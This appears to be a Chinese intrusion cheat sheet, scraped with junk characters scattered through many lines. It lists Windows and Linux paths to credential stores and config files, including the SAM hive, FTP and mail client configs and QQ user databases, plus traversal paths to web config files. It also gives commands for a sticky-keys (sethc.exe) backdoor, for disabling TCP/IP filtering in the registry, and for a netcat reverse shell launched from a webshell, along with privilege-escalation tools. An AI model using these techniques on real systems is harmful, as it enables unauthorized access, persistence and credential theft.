' n8 k! p! f4 R6 {C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
" h3 X# D- b+ O6 H0 [% ?C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
. l) `6 \5 q: ?C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
1 B$ D' D, \/ Y; p1 g; BC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
  K; I) L9 h. s) o  k0 @. Lc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
9 x. s$ `) k0 t7 g$ S3 L7 D2 O& qC:\Program Files\Oracle\oraconfig\Lpk.dll
& X6 [+ P3 Z! v; Q, Q, h# O+ U" [C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
5 C" d9 R# O# uC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
- B2 X$ [) V  J& XC:\WINDOWS\system32\config\default.LOG
9 j6 I7 N7 R9 P% a7 ZC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
$ L, Y. v6 e+ b. W: t* k: B/ ac:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
, _& S3 S( x* \' a, H2 ]: |c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
* r  Q) x9 Z. c* e" {c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
; \; E( }* S" a& V9 U. T, `c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
4 h3 J0 p1 `9 h+ M$ e3 M1 N/usr/local/tomcat5527/bin/version.sh
" ?' ~4 Q) p6 L( r! D/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
, y0 a% i! C- M, F8 C( ^+ Sc:\Program Files\Tencent\qq2008\qq.exe
7 N* e% X% X+ |) N0 e  ?5 Hc:\Program Files\Tencent\qq2010\bin\qq.exe
- r) f  ]7 F. `3 q# V  I- uc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
! y; @  |+ z. @c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
' i2 q7 W4 k  L! t& E9 `c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
; }0 ]: v6 c& }C:\Program Files\FlashFXP\FlashFXP.ini
+ ^' q. {" ^) S, p$ M& m- ?# ]C:\Program Files\FlashFXP\flashfxp.exe
; w% r1 \! a9 A; g/ K# p% v6 G6 v. Ac:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
% c/ G) w7 C' Yc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
, |8 ?# `. P9 Pc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

9 Y2 l& O2 e' j1 k5 @: F3.网站相对路径:
3 ^$ J& V& z6 Q9 d
' j/ t0 Q7 P2 C/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
5 E2 {& ?8 o$ A% u! K./config.inc.php
../../config.inc.php
% B6 C' X& W4 E../config.inc.php
3 W; M& |3 g6 I3 z1 l6 D1 X../../../config.inc.php
/conn.php
0 t( o  Q2 z* ?: V./conn.php
2 S6 y! {- i5 r7 m3 g6 F6 @../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
& ^. t; x8 y" h; ~/config.inc.php
+ m% b  R  n: c$ s; ]./config.inc.php
8 a9 s4 J1 r' ?../../config.inc.php
$ |9 ~7 o7 y/ B0 @) D# `../config.inc.php
../../../config.inc.php
, l1 s# [8 l' F/config/config.php
3 I) j. u: g$ T1 Z# @5 J' f../../config/config.php
; W' u3 ~& c1 f! W1 C../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
4 }; M/ W, k( r. x$ i../../config/config.inc.php
../config/config.inc.php
4 q3 A! q0 A" R4 X../../../config/config.inc.php
/config/conn.php
* v& q5 r9 }  X./config/conn.php
% G- a' e, ~6 O/ K7 ?../../config/conn.php
' `4 x( X; {0 k5 c; B../config/conn.php
: y& Q* R+ S6 j8 d3 I0 \8 b../../../config/conn.php
/config/conn.asp
" I" O# V  U, B! `./config/conn.asp
7 j1 h9 c* m* |# G' y; W../../config/conn.asp
! O& P) S- r, @* b' b9 G( R../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
: @$ `0 R) o3 M+ r+ F% O./config/config.inc.php
" V- }' C* m+ V: W../../config/config.inc.php
- i9 U/ j' q9 V; w% f1 J../config/config.inc.php
7 y9 Y! ~5 [4 D4 A1 E../../../config/config.inc.php
/ ~( K- X1 \# S0 ~' X* e/data/config.php
../../data/config.php
: F/ n$ A' F+ x3 v../data/config.php
../../../data/config.php
/data/config.inc.php
1 Y* ?4 R" F! V/ j0 d' i./data/config.inc.php
2 S6 h* o8 ^1 R. `: j../../data/config.inc.php
../data/config.inc.php
- j  A! u0 I, Y4 f  t- o# E: o../../../data/config.inc.php
/data/conn.php
/ Z4 T+ {9 C5 C$ u3 {* E1 s* E./data/conn.php
( n# h7 @; G) Y& [) D, F, T../../data/conn.php
../data/conn.php
, Z  y2 R' |0 S2 \../../../data/conn.php
/data/conn.asp
3 k- m; w% u  ]$ V/ L- D) @" L./data/conn.asp
" N# Z- X& D% k' x( V. W../../data/conn.asp
5 l7 c3 _6 p- |% L7 ~* K4 e../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
3 N: U/ z* \; k3 W& h% \../../data/config.inc.php
! {, H) Q0 _8 H% A../data/config.inc.php
../../../data/config.inc.php
/include/config.php
! r3 ?& _7 G9 P, G9 g../../include/config.php
9 b0 y# H( F- j  n- v  {../include/config.php
) ^0 Z* A( o* B. E" y../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
( A6 r. P: _1 A5 E../../include/conn.php
../include/conn.php
/ k  n) }; b8 H../../../include/conn.php
/include/conn.asp
./include/conn.asp
3 r: y$ o2 ]+ P../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
8 j$ }. w1 m, q./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
% P& M9 q/ V# K1 U../../../include/config.inc.php
0 C( p1 r/ d$ M; ~4 h% K/ T. z/inc/config.php
../../inc/config.php
: R) J# W# V) \( v- l4 u7 u" w, A& B../inc/config.php
+ i' ^! f9 u$ q, r& R# j% n../../../inc/config.php
# c; M, ~0 t# e* y/inc/config.inc.php
0 K4 @5 I. d: }. Q5 }./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
: t: o3 [: m5 z1 [& y/ `( @../../../inc/config.inc.php
/inc/conn.php
! U) w$ Y9 n5 v8 u% l/ ^6 H./inc/conn.php
../../inc/conn.php
# m! y) c- m. R- `( l8 x) A* O../inc/conn.php
../../../inc/conn.php
' n% O+ p( q: W/inc/conn.asp
./inc/conn.asp
+ m* K# I8 E+ h: R: b../../inc/conn.asp
7 G9 H, G. E; F../inc/conn.asp
../../../inc/conn.asp
" B: S; A" T3 @5 J8 p. k/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
( S/ L. f/ N0 |../inc/config.inc.php
  }  c( n7 w2 r: u1 y. |$ a../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
0 ]9 c& x0 f5 D$ N/index.asp
./index.asp
../../index.asp
7 J3 l8 G' b( A, Y' u  e../index.asp
# x# z  J9 a- I" e  G- j../../../index.asp
& I: y' n- z6 M' z+ O$ K" o7 ^替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
/ x3 M# W" K) ]/ d4 c
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

, z% U% i5 f  z% `& q7 e　　del c:\windows\system32\sethc.exe
& K! ?1 h3 T+ {5 f* a; o# p
& B& ~! A+ u5 f; g2 t　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
% l' k  @+ \6 [: e* m
' H( ]( E( P+ H4 z! A4 `" K8 g9 L　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
( u3 T6 V* \2 E! a- f
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
: [1 l8 E$ S, |0 v+ R' JHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. N' H- I. w$ W' u# R: mregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
0 A: r( h3 f& ^; t7 Qregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 F- N' ~. X' C; ]命令来导出注册表项
: t  C9 x2 X5 O6 ?' _- g4 ^# T4 F
. d: ]  V9 N2 U然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
5 U; t+ ]  d  z; ~2 ?
" M8 D* w% Y- [7 q  x再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
- u1 S1 e+ z. |1 `' T$ rregedit -s D:\c.reg
导入注册表即可

# J& U: O7 H; ^& c3 |2 Owebshell提权小技巧
6 s; j# k# b7 E; o( j$ acmd路径:
3 p0 R$ L+ @% R1 |9 p) Sc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
& i: X9 i& R; p0 k) t
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
$ L5 e9 z( a" w* j3 [  N  f/ X这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功